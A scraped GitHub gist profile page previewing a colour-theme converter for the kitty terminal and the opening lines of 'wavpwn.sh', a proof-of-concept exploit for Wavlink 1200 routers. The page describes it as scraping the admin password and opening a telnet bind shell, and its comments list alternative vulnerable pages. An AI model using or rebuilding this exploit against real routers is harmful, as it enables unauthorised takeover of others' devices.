Skip to content

Instantly share code, notes, and snippets.

View unglitched's full-sized avatar

Unglitched unglitched

  • None
  • United States
View GitHub Profile
@unglitched
unglitched / iterm2kitty.py
Created January 24, 2020 01:18
Convert .itermcolors file to kitty term theme colors
#!/usr/bin/env python3
#
# Convert .itermcolors files to kitty terminal color settings.
# Modded from https://gist.github.com/MSylvia/4e90860743f1a4de187d
# Might need to adjust dicts[i][NUMBER].text per your file.
import sys
import xml.etree.ElementTree as ET
def rgb_to_hex(rgb):
@unglitched
unglitched / wavpwn.sh
Last active December 19, 2020 00:24
This is a PoC/exploit for the Wavlink 1200 Router. It scrapes the admin password and starts a bind shell on the router using telnet, then connects to it.
# This is a quick POC to auto-pwn WavLink 1200 routers on the local network.
# Alternatives to live_test.shtml:
# sysinit.shtml
# set_safety.shtml
# wifi_region.shtml
HOST=$1
PORT=$2
if [ -z "$HOST" ]